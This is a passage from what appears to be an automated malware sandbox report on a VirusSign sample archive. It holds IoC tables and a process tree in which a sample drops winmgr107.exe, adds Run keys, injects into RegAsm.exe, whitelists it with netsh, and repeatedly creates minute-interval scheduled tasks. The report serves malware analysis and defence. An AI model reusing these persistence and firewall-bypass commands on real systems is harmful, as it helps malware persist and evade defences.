4508	winmgr107.exe
4508	winmgr107.exe
5056	winmgr107.exe
5056	winmgr107.exe
4508	winmgr107.exe
4508	winmgr107.exe
4508	winmgr107.exe
4508	winmgr107.exe
5092	powershell.exe
5092	powershell.exe
4248	RegAsm.exe
4248	RegAsm.exe
4248	RegAsm.exe
4248	RegAsm.exe
4248	RegAsm.exe
4248	RegAsm.exe
4248	RegAsm.exe
4248	RegAsm.exe
4248	RegAsm.exe
4248	RegAsm.exe
4248	RegAsm.exe

Suspicious behavior: GetForegroundWindowSpam 4 IoCs

pid	Process
1588	7zFM.exe
4768	OpenWith.exe
4352	vlc.exe
4248	RegAsm.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeRestorePrivilege	1588	7zFM.exe
Token: 35	1588	7zFM.exe
Token: SeSecurityPrivilege	1588	7zFM.exe
Token: SeSecurityPrivilege	1588	7zFM.exe
Token: SeSecurityPrivilege	1588	7zFM.exe
Token: SeSecurityPrivilege	1588	7zFM.exe
Token: SeDebugPrivilege	4248	RegAsm.exe
Token: 33	4248	RegAsm.exe
Token: SeIncBasePriorityPrivilege	4248	RegAsm.exe
Token: 33	4248	RegAsm.exe
Token: SeIncBasePriorityPrivilege	4248	RegAsm.exe
Token: SeSecurityPrivilege	1588	7zFM.exe
Token: SeDebugPrivilege	5092	powershell.exe
Token: 33	4248	RegAsm.exe
Token: SeIncBasePriorityPrivilege	4248	RegAsm.exe
Token: SeDebugPrivilege	2208	virussign.com_0a9cfc2c2484a4c4faa964d90b7061f9.exe
Token: SeImpersonatePrivilege	2208	virussign.com_0a9cfc2c2484a4c4faa964d90b7061f9.exe
Token: 33	4248	RegAsm.exe
Token: SeIncBasePriorityPrivilege	4248	RegAsm.exe
Token: SeDebugPrivilege	4672	powershell.exe
Token: SeDebugPrivilege	1464	powershell.exe
Token: SeDebugPrivilege	2224	powershell.exe
Token: 33	4248	RegAsm.exe
Token: SeIncBasePriorityPrivilege	4248	RegAsm.exe
Token: 33	4248	RegAsm.exe
Token: SeIncBasePriorityPrivilege	4248	RegAsm.exe
Token: SeDebugPrivilege	2300	powershell.exe
Token: SeSecurityPrivilege	1588	7zFM.exe
Token: SeDebugPrivilege	3548	powershell.exe
Token: SeDebugPrivilege	4972	powershell.exe
Token: 33	4248	RegAsm.exe
Token: SeIncBasePriorityPrivilege	4248	RegAsm.exe
Token: SeSystemEnvironmentPrivilege	1596	csrss.exe
Token: 33	4248	RegAsm.exe
Token: SeIncBasePriorityPrivilege	4248	RegAsm.exe
Token: SeSecurityPrivilege	4660	sc.exe
Token: SeSecurityPrivilege	4660	sc.exe
Token: 33	4248	RegAsm.exe
Token: SeIncBasePriorityPrivilege	4248	RegAsm.exe
Token: 33	4248	RegAsm.exe
Token: SeIncBasePriorityPrivilege	4248	RegAsm.exe
Token: 33	4248	RegAsm.exe
Token: SeIncBasePriorityPrivilege	4248	RegAsm.exe
Token: SeSecurityPrivilege	1588	7zFM.exe
Token: 33	4248	RegAsm.exe
Token: SeIncBasePriorityPrivilege	4248	RegAsm.exe
Token: 33	4248	RegAsm.exe
Token: SeIncBasePriorityPrivilege	4248	RegAsm.exe
Token: 33	4248	RegAsm.exe
Token: SeIncBasePriorityPrivilege	4248	RegAsm.exe
Token: SeSecurityPrivilege	1588	7zFM.exe
Token: 33	4248	RegAsm.exe
Token: SeIncBasePriorityPrivilege	4248	RegAsm.exe
Token: 33	4248	RegAsm.exe
Token: SeIncBasePriorityPrivilege	4248	RegAsm.exe
Token: 33	4248	RegAsm.exe
Token: SeIncBasePriorityPrivilege	4248	RegAsm.exe
Token: SeSecurityPrivilege	1588	7zFM.exe
Token: 33	4248	RegAsm.exe
Token: SeIncBasePriorityPrivilege	4248	RegAsm.exe
Token: 33	4248	RegAsm.exe
Token: SeIncBasePriorityPrivilege	4248	RegAsm.exe
Token: 33	4248	RegAsm.exe
Token: SeIncBasePriorityPrivilege	4248	RegAsm.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe

Suspicious use of SendNotifyMessage 33 IoCs

pid	Process
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
4352	vlc.exe
4352	vlc.exe
4352	vlc.exe
4352	vlc.exe
4352	vlc.exe
4352	vlc.exe
4352	vlc.exe
4352	vlc.exe
4352	vlc.exe

Suspicious use of SetWindowsHookEx 20 IoCs

pid	Process
4768	OpenWith.exe
4768	OpenWith.exe
4768	OpenWith.exe
4768	OpenWith.exe
4768	OpenWith.exe
4768	OpenWith.exe
4768	OpenWith.exe
4768	OpenWith.exe
4768	OpenWith.exe
4768	OpenWith.exe
4768	OpenWith.exe
4768	OpenWith.exe
4768	OpenWith.exe
4768	OpenWith.exe
4768	OpenWith.exe
4768	OpenWith.exe
4768	OpenWith.exe
4352	vlc.exe
11256	virussign.com_1e903a364fd4c0d461993bc1db029e4b.exe
740	virussign.com_7a14384c52b18fe49305121250840bff.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2408 wrote to memory of 3720	2408	msedge.exe	82
PID 2408 wrote to memory of 3720	2408	msedge.exe	82
PID 2408 wrote to memory of 2140	2408	msedge.exe	83
PID 2408 wrote to memory of 2140	2408	msedge.exe	83
PID 2408 wrote to memory of 2140	2408	msedge.exe	83
PID 2408 wrote to memory of 2140	2408	msedge.exe	83
PID 2408 wrote to memory of 2140	2408	msedge.exe	83
PID 2408 wrote to memory of 2140	2408	msedge.exe	83
PID 2408 wrote to memory of 2140	2408	msedge.exe	83
PID 2408 wrote to memory of 2140	2408	msedge.exe	83
PID 2408 wrote to memory of 2140	2408	msedge.exe	83
PID 2408 wrote to memory of 2140	2408	msedge.exe	83
PID 2408 wrote to memory of 2140	2408	msedge.exe	83
PID 2408 wrote to memory of 2140	2408	msedge.exe	83
PID 2408 wrote to memory of 2140	2408	msedge.exe	83
PID 2408 wrote to memory of 2140	2408	msedge.exe	83
PID 2408 wrote to memory of 2140	2408	msedge.exe	83
PID 2408 wrote to memory of 2140	2408	msedge.exe	83
PID 2408 wrote to memory of 2140	2408	msedge.exe	83
PID 2408 wrote to memory of 2140	2408	msedge.exe	83
PID 2408 wrote to memory of 2140	2408	msedge.exe	83
PID 2408 wrote to memory of 2140	2408	msedge.exe	83
PID 2408 wrote to memory of 2140	2408	msedge.exe	83
PID 2408 wrote to memory of 2140	2408	msedge.exe	83
PID 2408 wrote to memory of 2140	2408	msedge.exe	83
PID 2408 wrote to memory of 2140	2408	msedge.exe	83
PID 2408 wrote to memory of 2140	2408	msedge.exe	83
PID 2408 wrote to memory of 2140	2408	msedge.exe	83
PID 2408 wrote to memory of 2140	2408	msedge.exe	83
PID 2408 wrote to memory of 2140	2408	msedge.exe	83
PID 2408 wrote to memory of 2140	2408	msedge.exe	83
PID 2408 wrote to memory of 2140	2408	msedge.exe	83
PID 2408 wrote to memory of 2140	2408	msedge.exe	83
PID 2408 wrote to memory of 2140	2408	msedge.exe	83
PID 2408 wrote to memory of 2140	2408	msedge.exe	83
PID 2408 wrote to memory of 2140	2408	msedge.exe	83
PID 2408 wrote to memory of 2140	2408	msedge.exe	83
PID 2408 wrote to memory of 2140	2408	msedge.exe	83
PID 2408 wrote to memory of 2140	2408	msedge.exe	83
PID 2408 wrote to memory of 2140	2408	msedge.exe	83
PID 2408 wrote to memory of 2140	2408	msedge.exe	83
PID 2408 wrote to memory of 2140	2408	msedge.exe	83
PID 2408 wrote to memory of 216	2408	msedge.exe	84
PID 2408 wrote to memory of 216	2408	msedge.exe	84
PID 2408 wrote to memory of 4996	2408	msedge.exe	85
PID 2408 wrote to memory of 4996	2408	msedge.exe	85
PID 2408 wrote to memory of 4996	2408	msedge.exe	85
PID 2408 wrote to memory of 4996	2408	msedge.exe	85
PID 2408 wrote to memory of 4996	2408	msedge.exe	85
PID 2408 wrote to memory of 4996	2408	msedge.exe	85
PID 2408 wrote to memory of 4996	2408	msedge.exe	85
PID 2408 wrote to memory of 4996	2408	msedge.exe	85
PID 2408 wrote to memory of 4996	2408	msedge.exe	85
PID 2408 wrote to memory of 4996	2408	msedge.exe	85
PID 2408 wrote to memory of 4996	2408	msedge.exe	85
PID 2408 wrote to memory of 4996	2408	msedge.exe	85
PID 2408 wrote to memory of 4996	2408	msedge.exe	85
PID 2408 wrote to memory of 4996	2408	msedge.exe	85
PID 2408 wrote to memory of 4996	2408	msedge.exe	85
PID 2408 wrote to memory of 4996	2408	msedge.exe	85
PID 2408 wrote to memory of 4996	2408	msedge.exe	85
PID 2408 wrote to memory of 4996	2408	msedge.exe	85
PID 2408 wrote to memory of 4996	2408	msedge.exe	85
PID 2408 wrote to memory of 4996	2408	msedge.exe	85

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://samples.vx-underground.org/tmp/Virussign.2024.05.16.7z
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2408
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffe875746f8,0x7ffe87574708,0x7ffe87574718
  2⤵
  PID:3720
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2132,11253446263579555619,6340664532331257585,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2172 /prefetch:2
  2⤵
  PID:2140
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2132,11253446263579555619,6340664532331257585,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2220 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:216
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2132,11253446263579555619,6340664532331257585,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2816 /prefetch:8
  2⤵
  PID:4996
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,11253446263579555619,6340664532331257585,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3364 /prefetch:1
  2⤵
  PID:3532
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,11253446263579555619,6340664532331257585,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3372 /prefetch:1
  2⤵
  PID:5036
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2132,11253446263579555619,6340664532331257585,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5000 /prefetch:8
  2⤵
  PID:732
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2132,11253446263579555619,6340664532331257585,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5000 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3484
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,11253446263579555619,6340664532331257585,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5072 /prefetch:1
  2⤵
  PID:4168
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,11253446263579555619,6340664532331257585,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5048 /prefetch:1
  2⤵
  PID:4004
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,11253446263579555619,6340664532331257585,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5220 /prefetch:1
  2⤵
  PID:4780
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,11253446263579555619,6340664532331257585,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5260 /prefetch:1
  2⤵
  PID:3624
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2132,11253446263579555619,6340664532331257585,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=3756 /prefetch:8
  2⤵
  PID:2768
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,11253446263579555619,6340664532331257585,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5164 /prefetch:1
  2⤵
  PID:4308
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2132,11253446263579555619,6340664532331257585,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5532 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1616
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2132,11253446263579555619,6340664532331257585,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2260 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1792

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2040

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3908

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:2228

C:\Program Files\7-Zip\7zFM.exe
"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\Downloads\Virussign.2024.05.16.7z"
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:1588

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:4768
- C:\Program Files\VideoLAN\VLC\vlc.exe
  "C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\Desktop\virussign.com_0a20b558065db2051bcbfa0cd7fe943f.vir"
  2⤵
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  PID:4352

C:\Users\Admin\Desktop\virussign.com_0a20b558065db2051bcbfa0cd7fe943f.exe
"C:\Users\Admin\Desktop\virussign.com_0a20b558065db2051bcbfa0cd7fe943f.exe"
1⤵
- Executes dropped EXE
- Adds Run key to start application
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
PID:1652
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c start C:\PROGRA~3\VIRUSS~1.TXT
  2⤵
  - Checks computer location settings
  PID:452
- - C:\Windows\SysWOW64\NOTEPAD.EXE
    "C:\Windows\system32\NOTEPAD.EXE" C:\PROGRA~3\virussign.com_0a20b558065db2051bcbfa0cd7fe943f.exe.txt
    3⤵
    PID:3748
- C:\ProgramData\winmgr107.exe
  C:\ProgramData\winmgr107.exe
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious use of SetThreadContext
  - NTFS ADS
  - Suspicious behavior: EnumeratesProcesses
  PID:4508
- - C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe
    0
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of AdjustPrivilegeToken
    PID:4248
  - - C:\Windows\SysWOW64\netsh.exe
      netsh firewall add allowedprogram "C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe" "RegAsm.exe" ENABLE
      4⤵
      Modifies Windows Firewall
      PID:2504
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:2064
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:2304
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:1088
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:4308
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:3680
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:2848
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:3972
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:3824
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:400
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:1616
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:4180
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:2788
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:1720
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:3392
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:4180
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:1216
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:6256
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:8348
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:11040
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:11596
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:10596
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:10400
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:10124
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:11824
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:9420
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:9332
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:9140
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:9504
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:9272
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:10036
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:9756
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:9248
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:10140
- - C:\Windows\SysWOW64\schtasks.exe
